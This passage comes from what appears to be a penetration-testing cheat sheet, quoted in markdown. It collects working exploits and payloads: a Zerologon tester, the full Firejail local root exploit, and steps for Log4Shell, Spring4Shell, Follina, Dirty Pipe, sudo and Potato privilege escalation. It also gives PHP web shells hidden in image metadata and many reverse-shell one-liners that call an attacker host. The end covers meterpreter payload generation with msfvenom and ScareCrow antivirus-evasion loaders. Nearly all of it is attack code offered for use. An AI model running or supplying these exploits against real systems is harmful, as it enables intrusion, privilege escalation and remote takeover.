>     auth['Credential'] = b'\x00' * 8
>     auth['Timestamp'] = 0
>     newPassRequest['Authenticator'] = auth
>     newPassRequest['ComputerName'] = target_computer + '\x00'
>     newPassRequest['ClearNewPassword'] =  b'\x00' * 516
>     rpc_con.request(newPassRequest)
>     return rpc_con
>
>   except nrpc.DCERPCSessionError as ex:
>     # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
>     if ex.get_error_code() == 0xc0000022:
>       return None
>     else:
>       fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
>   except BaseException as ex:
>     fail(f'Unexpected error: {ex}.')
>
>
> def perform_attack(dc_handle, dc_ip, target_computer):
>   # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
>   print('Performing authentication attempts...')
>   rpc_con = None
>   for attempt in range(0, MAX_ATTEMPTS):  
>     rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
>     
>     if not rpc_con:
>       print('=', end='', flush=True)
>     else:
>       break
>
>   if rpc_con:
>     print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
>   else:
>     print('\nAttack failed. Target is probably patched.')
>     sys.exit(1)
>
>
> if __name__ == '__main__':
>   if not (3 <= len(sys.argv) <= 4):
>     print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
>     print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
>     print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
>     sys.exit(1)
>   else:
>     [_, dc_name, dc_ip] = sys.argv
>
>     dc_name = dc_name.rstrip('$')
>     perform_attack('\\\\' + dc_name, dc_ip, dc_name)
> ```
>
> **Execution**
>
> ```
> python3 zerologon_tester.py <HANDLE> <RHOST>
> impacket-secretsdump -just-dc -no-pass <HANDLE>\$@<RHOST>
> ```
>
> **CVE-2021-3156: Sudo / sudoedit LPE**
>
> > <https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435>
>
> **Pre-requisistes**
>
> * Ubuntu 20.04 (Sudo 1.8.31)
> * Debian 10 (Sudo 1.8.27)
> * Fedora 33 (Sudo 1.9.2)
> * All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1
>
> **Vulnerability Test**
>
> ```
> sudoedit -s /
> ```
>
> The machine is vulnerable if one of the following message is shown.
>
> ```
> sudoedit: /: not a regular file
> segfault
> ```
>
> Not vulnerable if the error message starts with `usage:`.
>
> **CVE-2021-44228: Log4Shell RCE (0-day)**
>
> > <https://github.com/kozmer/log4j-shell-poc>
>
> **Pre-requisistes**
>
> > <https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html>
>
> ```
> tar -xvf jdk-8u20-linux-x64.tar.gz
> ```
>
> **Start the Listener**
>
> ```
> python poc.py --userip <LHOST> --webport <RPORT> --lport <LPORT>                                   
> ```
>
> **Execution**
>
> ```
> ${jndi:ldap://<LHOST>:1389/foobar}
> ```
>
> **CVE-2022-0847: Dirty Pipe LPE**
>
> ```
> gcc -o dirtypipe dirtypipe.c
> ./dirtypipe /etc/passwd 1 ootz:
> su rootz
> ```
>
> **CVE-2022-22963: Spring4Shell RCE (0-day)**
>
> > <https://github.com/me2nuk/CVE-2022-22963>
>
> ```
> curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl <LHOST>/<FILE>.sh -o /dev/shm/<FILE>")' --data-raw 'data' -v
> ```
>
> ```
> curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/<FILE>")' --data-raw 'data' -v
> ```
>
> **CVE-2022-30190: MS-MSDT Follina RCE**
>
> > <https://github.com/JohnHammond/msdt-follina>
>
> ```
> python3 follina.py -p 80 -c 'powershell.exe Invoke-WebRequest http://<LHOST>:8000/nc64.exe -OutFile C:\\Windows\\Tasks\\nc64.exe; C:\\Windows\\Tasks\\nc64.exe -e cmd.exe <LHOST> <LPORT>'
> ```
>
> ```
> python3 -m http.server 8000
> ```
>
> ```
> nc -lnvp <LPORT>
> ```
>
> ```
> swaks --to <EMAIL> --from <EMAIL> --server <RHOST> --body "http://<LHOST>/"
> ```
>
> **CVE-2022-31214: Firejail LPE**
>
> > <https://seclists.org/oss-sec/2022/q2/188>
>
> > <https://www.openwall.com/lists/oss-security/2022/06/08/10>
>
> ```
> #!/usr/bin/python3
>
> # Author: Matthias Gerstner <matthias.gerstner () suse com>
> #
> # Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
> # in joining Firejail instances.
> #
> # Prerequisites:
> # - the firejail setuid-root binary needs to be installed and accessible to the
> #   invoking user
> #
> # Exploit: The exploit tricks the Firejail setuid-root program to join a fake
> # Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
> # user namespace of the fake Firejail instance the result will be a shell that
> # lives in an attacker controller mount namespace while the user namespace is
> # still the initial user namespace and the nonewprivs setting is unset,
> # allowing to escalate privileges via su or sudo.
>
> import os
> import shutil
> import stat
> import subprocess
> import sys
> import tempfile
> import time
> from pathlib import Path
>
> # Print error message and exit with status 1
> def printe(*args, **kwargs):
>     kwargs['file'] = sys.stderr
>     print(*args, **kwargs)
>     sys.exit(1)
>
> # Return a boolean whether the given file path fulfils the requirements for the
> # exploit to succeed:
> # - owned by uid 0
> # - size of 1 byte
> # - the content is a single '1' ASCII character
> def checkFile(f):
>     s = os.stat(f)
>
>     if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
>         return False
>
>     with open(f) as fd:
>         ch = fd.read(2)
>
>         if len(ch) != 1 or ch != "1":
>             return False
>
>     return True
>
> def mountTmpFS(loc):
>     subprocess.check_call("mount -t tmpfs none".split() + [loc])
>
> def bindMount(src, dst):
>     subprocess.check_call("mount --bind".split() + [src, dst])
>
> def checkSelfExecutable():
>     s = os.stat(__file__)
>
>     if (s.st_mode & stat.S_IXUSR) == 0:
>         printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.")
>
> # This creates a "helper" sandbox that serves the purpose of making available
> # a proper "join" file for symlinking to as part of the exploit later on.
> #
> # Returns a tuple of (proc, join_file), where proc is the running subprocess
> # (it needs to continue running until the exploit happened) and join_file is
> # the path to the join file to use for the exploit.
> def createHelperSandbox():
>     # just run a long sleep command in an unsecured sandbox
>     proc = subprocess.Popen(
>             "firejail --noprofile -- sleep 10d".split(),
>             stderr=subprocess.PIPE)
>
>     # read out the child PID from the stderr output of firejail
>     while True:
>         line = proc.stderr.readline()
>         if not line:
>             raise Exception("helper sandbox creation failed")
>
>         # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
>         line = line.decode('utf8').strip().lower()
>         if line.find("child pid") == -1:
>             continue
>
>         child_pid = line.split()[-1]
>
>         try:
>             child_pid = int(child_pid)
>             break
>         except Exception:
>             raise Exception("failed to determine child pid from helper sandbox")
>
>     # We need to find the child process of the child PID, this is the
>     # actual sleep process that has an accessible root filesystem in /proc
>     children = f"/proc/{child_pid}/task/{child_pid}/children"
>
>     # If we are too quick then the child does not exist yet, so sleep a bit
>     for _ in range(10):
>         with open(children) as cfd:
>             line = cfd.read().strip()
>             kids = line.split()
>             if not kids:
>                 time.sleep(0.5)
>                 continue
>             elif len(kids) != 1:
>                 raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")
>
>             try:
>                 sleep_pid = int(kids[0])
>                 break
>             except Exception:
>                 raise Exception("failed to determine sleep child PID from helper sandbox")
>     else:
>         raise Exception(f"sleep child process did not come into existence in {children}")
>
>     join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
>     if not os.path.exists(join_file):
>         raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")
>
>     return proc, join_file
>
> # Re-executes the current script with unshared user and mount namespaces
> def reexecUnshared(join_file):
>
>     if not checkFile(join_file):
>         printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")
>
>     os.environ["FIREJOIN_JOINFILE"] = join_file
>     os.environ["FIREJOIN_UNSHARED"] = "1"
>
>     unshare = shutil.which("unshare")
>     if not unshare:
>         printe("could not find 'unshare' program")
>
>     cmdline = "unshare -U -r -m".split()
>     cmdline += [__file__]
>
>     # Re-execute this script with unshared user and mount namespaces
>     subprocess.call(cmdline)
>
> if "FIREJOIN_UNSHARED" not in os.environ:
>     # First stage of execution, we first need to fork off a helper sandbox and
>     # an exploit environment
>     checkSelfExecutable()
>     helper_proc, join_file = createHelperSandbox()
>     reexecUnshared(join_file)
>
>     helper_proc.kill()
>     helper_proc.wait()
>     sys.exit(0)
> else:
>     # We are in the sandbox environment, the suitable join file has been
>     # forwarded from the first stage via the environment
>     join_file = os.environ["FIREJOIN_JOINFILE"]
>
> # We will make /proc/1/ns/user point to this via a symlink
> time_ns_src = "/proc/self/ns/time"
>
> # Make the firejail state directory writeable, we need to place a symlink to
> # the fake join state file there
> mountTmpFS("/run/firejail")
> # Mount a tmpfs over the proc state directory of the init process, to place a
> # symlink to a fake "user" ns there that firejail thinks it is joining
> try:
>     mountTmpFS("/proc/1")
> except subprocess.CalledProcessError:
>     # This is a special case for Fedora Linux where SELinux rules prevent us
>     # from mounting a tmpfs over proc directories.
>     # We can still circumvent this by mounting a tmpfs over all of /proc, but
>     # we need to bind-mount a copy of our own time namespace first that we can
>     # symlink to.
>     with open("/tmp/time", 'w') as _:
>         pass
>     time_ns_src = "/tmp/time"
>     bindMount("/proc/self/ns/time", time_ns_src)
>     mountTmpFS("/proc")
>
> FJ_MNT_ROOT = Path("/run/firejail/mnt")
>
> # Create necessary intermediate directories
> os.makedirs(FJ_MNT_ROOT)
> os.makedirs("/proc/1/ns")
>
> # Firejail expects to find the umask for the "container" here, else it fails
> with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
>     umask_fd.write("022")
>
> # Create the symlink to the join file to pass Firejail's sanity check
> os.symlink(join_file, FJ_MNT_ROOT / "join")
> # Since we cannot join our own user namespace again fake a user namespace that
> # is actually a symlink to our own time namespace. This works since Firejail
> # calls setns() without the nstype parameter.
> os.symlink(time_ns_src, "/proc/1/ns/user")
>
> # The process joining our fake sandbox will still have normal user privileges,
> # but it will be a member of the mount namespace under the control of *this*
> # script while *still* being a member of the initial user namespace.
> # 'no_new_privs' won't be set since Firejail takes over the settings of the
> # target process.
> #
> # This means we can invoke setuid-root binaries as usual but they will operate
> # in a mount namespace under our control. To exploit this we need to adjust
> # file system content in a way that a setuid-root binary grants us full
> # root privileges. 'su' and 'sudo' are the most typical candidates for it.
> #
> # The tools are hardened a bit these days and reject certain files if not owned
> # by root e.g. /etc/sudoers. There are various directions that could be taken,
> # this one works pretty well though: Simply replacing the PAM configuration
> # with one that will always grant access.
> with tempfile.NamedTemporaryFile('w') as tf:
>     tf.write("auth sufficient pam_permit.so\n")
>     tf.write("account sufficient pam_unix.so\n")
>     tf.write("session sufficient pam_unix.so\n")
>
>     # Be agnostic about the PAM config file location in /etc or /usr/etc
>     for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
>         if not os.path.isdir(pamd):
>             continue
>         for service in ("su", "sudo"):
>             service = Path(pamd) / service
>             if not service.exists():
>                 continue
>             # Bind mount over new "helpful" PAM config over the original
>             bindMount(tf.name, service)
>
> print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")
>
> while True:
>     line = sys.stdin.readline()
>     if not line:
>         break
> ```
>
> **First Terminal**
>
> ```
> ./firejoin_py.bin
> You can now run 'firejail --join=193982' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
> ```
>
> **Second Terminal**
>
> ```
> firejail --join=193982
> su
> ```
>
> **CVE-2023-21746: Windows NTLM EoP LocalPotato LPE**
>
> > <https://github.com/decoder-it/LocalPotato>
>
> > <https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc>
>
> Modify the following file and build the solution.
>
> ```
> StorSvc\RpcClient\RpcClient\storsvc_c.c
> ```
>
> ```
> #if defined(_M_AMD64)
>
> //#define WIN10
> //#define WIN11
> #define WIN2019
> //#define WIN2022
> ```
>
> Modify the following file and build the solution.
>
> ```
> StorSvc\SprintCSP\SprintCSP\main.c
> ```
>
> ```
> void DoStuff() {
>
>     // Replace all this code by your payload
>     STARTUPINFO si = { sizeof(STARTUPINFO) };
>     PROCESS_INFORMATION pi;
>     CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
>         NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);
>
>     CloseHandle(pi.hProcess);
>     CloseHandle(pi.hThread);
>
>     return;
> }
> ```
>
> First get the `paths` from the `environment`, then use `LocalPotato` to place the `malicious DLL`.
>
> ```
> reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
> LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll
> ```
>
> At least trigger `StorSvc` via `RpcClient.exe`.
>
> ```
> .\RpcClient.exe
> ```
>
> **CVE-2023-22809: Sudo Bypass**
>
> > <https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466>
>
> **Prerequisites**
>
> * Sudo version needs to be ≥ 1.8 and < 1.9.12p2.
> * Limited Sudo access to at least one file on the system that requires root access.
>
> **Example**
>
> ```
> test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motd
> ```
>
> **Exploitation**
>
> ```
> EDITOR="vi -- /etc/passwd" sudoedit /etc/motd
> ```
>
> ```
> sudoedit /etc/motd
> ```
>
> **CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)**
>
> ```
> Import-Module .\CVE-2023-23397.ps1
> Send-CalendarNTLMLeak -recipient "<EMAIL>" -remotefilepath "\\<LHOST>\<FILE>.wav" -meetingsubject "<SUBJECT>" -meetingbody "<TEXT>"
> ```
>
> **CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)**
>
> * Linux ubuntu2204 5.19.0-46-generic
>
> ```
> unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
> ```
>
> **CVE-2023-4911: Looney Tunables LPE**
>
> ```
> python3 gen_libc.py 
> [*] '/lib/x86_64-linux-gnu/libc.so.6'
>     Arch:     amd64-64-little
>     RELRO:    Partial RELRO
>     Stack:    Canary found
>     NX:       NX enabled
>     PIE:      PIE enabled
> ```
>
> ```
> gcc -o exp exp.c
> ./exp
> ```
>
> **GodPotato LPE**
>
> > <https://github.com/BeichenDream/GodPotato>
>
> ```
> .\GodPotato-NET4.exe -cmd '<COMMAND>'
> ```
>
> **Juicy Potato LPE**
>
> > <https://github.com/ohpe/juicy-potato>
>
> > <http://ohpe.it/juicy-potato/CLSID/>
>
> **GetCLSID.ps1**
>
> ```
> <#
> This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
> Then exports to CSV
> #>
>
> $ErrorActionPreference = "Stop"
>
> New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
>
> Write-Output "Looking for CLSIDs"
> $CLSID = @()
> Foreach($ID in (Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}})){
>     if ($ID.appid -ne $null){
>         $CLSID += $ID
>     }
> }
>
> Write-Output "Looking for APIDs"
> $APPID = @()
> Foreach($AID in (Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}})){
>     if ($AID.LocalService -ne $null){
>         $APPID += $AID
>     }
> }
>
> Write-Output "Joining CLSIDs and APIDs"
> $RESULT = @()
> Foreach ($app in $APPID){
>     Foreach ($CLS in $CLSID){
>         if($CLS.AppId -eq $app.AppID){
>             $RESULT += New-Object psobject -Property @{
>                 AppId    = $app.AppId
>                 LocalService = $app.LocalService
>                 CLSID = $CLS.CLSID
>             }
>
>             break
>         }
>     }
> }
>
> $RESULT = $RESULT | Sort-Object LocalService
>
> # Preparing to Output
> $OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
> $TARGET = $OS -Replace " ","_"
>
> # Make target folder
> New-Item -ItemType Directory -Force -Path .\$TARGET
>
> # Output in a CSV
> $RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation
>
> # Export CLSIDs list
> $RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii
>
> # Visual Table
> $RESULT | ogv
> ```
>
> **Execution**
>
> ```
> .\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://<LHOST>/<FILE>.ps1')" -t *
> ```
>
> **JuicyPotatoNG LPE**
>
> > <https://github.com/antonioCoco/JuicyPotatoNG>
>
> ```
> .\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c whoami"
> ```
>
> **MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE**
>
> > <https://www.exploit-db.com/exploits/1518>
>
> ```
> gcc -g -c raptor_udf2.c -fPIC
> gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
> ```
>
> ```
> mysql -u root
> ```
>
> ```
> > use mysql;
> > create table foo(line blob);
> > insert into foo values(load_file('/PATH/TO/SHARED_OBJECT/raptor_udf2.so'));
> > select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
> > create function do_system returns integer soname 'raptor_udf2.so';
> > select do_system('chmod +s /bin/bash');
> ```
>
> **PrintSpoofer LPE**
>
> > <https://github.com/itm4n/PrintSpoofer>
>
> ```
> .\PrintSpoofer64.exe -i -c powershell
> ```
>
> **SharpEfsPotato LPE**
>
> > <https://github.com/bugch3ck/SharpEfsPotato>
>
> ```
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"
> ```
>
> **Shocker Container Escape**
>
> > <https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.c>
>
> **Modifying Exploit**
>
> ```
>         // get a FS reference from something mounted in from outside
>         if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
>                 die("[-] open");
>
>         if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
>                 die("[-] Cannot find valid handle!");
> ```
>
> **Compiling**
>
> ```
> gcc shocker.c -o shocker
> cc -Wall -std=c99 -O2 shocker.c -static
> ```
>
> #### Payloads
>
> **Donut**
>
> ```
> donut -a 2 -f 1 -o donutpayload.bin shellcode.exe
> ```
>
> **Exiftool**
>
> **PHP into JPG Injection**
>
> ```
> exiftool -Comment='<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"); ?>' shell.jpg
> exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' <FILE>.jpeg
> exiftool "-comment<=back.php" back.png
> exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <FILE>.png
> ```
>
> **GhostScript**
>
> ```
> %!PS-Adobe-3.0 EPSF-3.0
> %%BoundingBox: -0 -0 100 100
> userdict /setpagedevice undef
> save
> legal
> { null restore } stopped { pop } if
> { legal } stopped { pop } if
> restore
> mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/flag.txt) currentdevice putdeviceprops
> ```
>
> **nishang**
>
> ```
> cd path/to/nishang/Shells/
> cp Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp.ps1
>
> tail -3 Invoke-PowerShellTcp.ps1
> }
>
> Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>
>
> powershell "IEX(New-Object Net.Webclient).downloadString('http://<LHOST>:<LPORT>/Invoke-PowerShellTcp.ps1')"
> ```
>
> **Reverse Shells**
>
> **Bash Reverse Shell**
>
> ```
> bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
> bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
> echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64
> ```
>
> **curl Reverse Shell**
>
> ```
> curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'
> ```
>
> **Groovy (Jenkins) Reverse Shell**
>
> ```
> String host="<LHOST>";
> int port=<LPORT>;
> String cmd="/bin/bash";
> Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
> ```
>
> **JAVA Reverse Shell**
>
> ```
> r = Runtime.getRuntime()
> p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
> p.waitFor()
>
> r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
> ```
>
> **shell.jar**
>
> ```
> package <NAME>;
>
> import org.bukkit.plugin.java.JavaPlugin;
>
> import java.io.IOException;
> import java.nio.file.Files;
> import java.nio.file.Paths;
> import java.nio.file.StandardOpenOption;
>
> public class Main extends JavaPlugin {
>    @Override
>    public void onDisable() {
>      super.onDisable();
>    }
>
> @Override
> public void onEnable() {
>   final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
>   try {
>    Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW);
>    } catch (IOException e) {
>      e.printStackTrace();
>    }
>
>    super.onEnable();
>   }
> }
> ```
>
> **Lua Reverse Shell**
>
> ```
> http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")--
> ```
>
> **Markdown Reverse Shell**
>
> ```
> --';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'--
> ```
>
> **mkfifo Reverse Shell**
>
> ```
> mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell
> ```
>
> **Netcat Reverse Shell**
>
> ```
> nc -e /bin/sh <LHOST> <LPORT>
> ```
>
> **Perl Reverse Shell**
>
> ```
> perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
> ```
>
> **PHP Reverse Shell**
>
> ```
> php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
> ```
>
> **PowerShell Reverse Shell**
>
> ```
> $client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
> ```
>
> ```
> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
> ```
>
> ```
> powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
> ```
>
> **minireverse.ps1**
>
> ```
> $socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
> if($socket -eq $null){exit 1}
> $stream = $socket.GetStream();
> $writer = new-object System.IO.StreamWriter($stream);
> $buffer = new-object System.Byte[] 1024;
> $encoding = new-object System.Text.AsciiEncoding;
> do
> {
> 	$writer.Flush();
> 	$read = $null;
> 	$res = ""
> 	while($stream.DataAvailable -or $read -eq $null) {
> 		$read = $stream.Read($buffer, 0, 1024)
> 	}
> 	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
> 	if(!$out.equals("exit")){
> 		$args = "";
> 		if($out.IndexOf(' ') -gt -1){
> 			$args = $out.substring($out.IndexOf(' ')+1);
> 			$out = $out.substring(0,$out.IndexOf(' '));
> 			if($args.split(' ').length -gt 1){
>                 $pinfo = New-Object System.Diagnostics.ProcessStartInfo
>                 $pinfo.FileName = "cmd.exe"
>                 $pinfo.RedirectStandardError = $true
>                 $pinfo.RedirectStandardOutput = $true
>                 $pinfo.UseShellExecute = $false
>                 $pinfo.Arguments = "/c $out $args"
>                 $p = New-Object System.Diagnostics.Process
>                 $p.StartInfo = $pinfo
>                 $p.Start() | Out-Null
>                 $p.WaitForExit()
>                 $stdout = $p.StandardOutput.ReadToEnd()
>                 $stderr = $p.StandardError.ReadToEnd()
>                 if ($p.ExitCode -ne 0) {
>                     $res = $stderr
>                 } else {
>                     $res = $stdout
>                 }
> 			}
> 			else{
> 				$res = (&"$out" "$args") | out-string;
> 			}
> 		}
> 		else{
> 			$res = (&"$out") | out-string;
> 		}
> 		if($res -ne $null){
>         $writer.WriteLine($res)
>     }
> 	}
> }While (!$out.equals("exit"))
> $writer.close();
> $socket.close();
> $stream.Dispose()
> ```
>
> **Python Reverse Shell**
>
> ```
> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
> ```
>
> ```
> python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
> ```
>
> ```
> python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
> ```
>
> ```
> echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE>
> ```
>
> **Ruby Reverse Shell**
>
> ```
> ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
> ```
>
> **ScareCrow**
>
> **Payloads**
>
> **Shellcode Payload Creation with msfvenom**
>
> ```
> msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f raw -o <FILE>.bin
> ```
>
> **.msi-File Payload Creation with msfvenom**
>
> ```
> msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f exe -o <FILE>.exe
> ```
>
> **Listener**
>
> ```
> msf6 > use exploit/multi/handler
> msf6 > set payload windows/x64/meterpreter/reverse_https
> ```
>
> **Obfuscation**
>
> **DLL Side-Loading**
>
> ```
> ScareCrow -I <FILE>.bin -Loader dll -domain <FAKE_DOMAIN>
> ```
>
> **Windows Script Host**
>
> ```
> ScareCrow -I <FILE>.bin -Loader msiexec -domain <FAKE_DOMAIN> -O payload.js
> ```
>
> **Control Panel Files**
>
> ```
